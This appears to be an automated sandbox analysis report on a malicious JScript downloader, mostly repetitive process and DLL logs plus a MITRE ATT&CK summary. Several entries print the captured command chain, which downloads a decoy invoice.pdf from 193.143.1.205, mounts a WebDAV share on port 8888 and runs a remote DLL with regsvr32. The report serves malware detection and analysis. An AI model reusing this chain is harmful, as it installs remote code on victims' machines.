Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\917.js.csv");ITextStream.WriteLine(" entry:8841 f:rluqh");ITextStream.WriteLine(" exec:2 f:rluqh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4683			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4851			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2360	Thread sleep count: 4683 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2360	Thread sleep count: 4851 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6472	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6172	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1628	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 320	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7332	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2163669714.00000268B73B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163669714.00000268B741A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3354160961.0000028A61254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3353285754.0000028A5BC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2163669714.00000268B741A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU*T

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
